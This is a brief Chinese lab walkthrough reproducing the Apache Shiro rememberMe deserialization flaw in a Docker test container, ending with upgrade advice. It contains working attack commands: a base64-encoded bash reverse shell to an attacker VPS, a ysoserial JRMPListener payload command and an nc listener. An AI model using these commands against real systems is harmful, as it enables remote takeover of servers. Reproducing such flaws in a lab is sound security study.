Shiro反序列化复现
环境搭建:
拉取镜像: docker pull medicean/vulapps:s_shiro_1
启动环境: docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
攻击者IP:182.xx.xx.xx
靶机IP:172.22.145.76
镜像太慢,请自行前往前两篇文章中的cve-2019-11043
复现:
访问环境连接
点击remember Me然后用上面任意一个号登录
然后访问主页抓取RAW包。如图
这里的话废话不多说直接上脚本检测一波存不存在先
脚本地址:
http://poc.hsxxr.xyz/poc/py/shiro.py
填入地址和DNSLOG地址
然后过会可以看到我们的DNSLOG就有信息了
这可以证明存在shiro反序列化了。
漏洞利用:
通样试用该脚本。但此时我们要在我们的VPS上放置我们的shellcode
可以利用这个站点生成
http://www.jackson-t.ca/runtime-exec-payloads.html
ip为我们的VPS服务器。当然下面那串东西其实也是base64加密了下而已
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODIuOTIuNzEuNTcvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
然后在我们的VPS上运行
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODIuOTIuNzEuNTcvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}’
然后脚本更改为:
注意这里的端口和上方执行命令的端口要一致
然后在攻击机上监听1234端口 命令为nc -lvp 1234
然后执行脚本即可
成功反弹shell。
修复建议:
升级到1.2.4以上。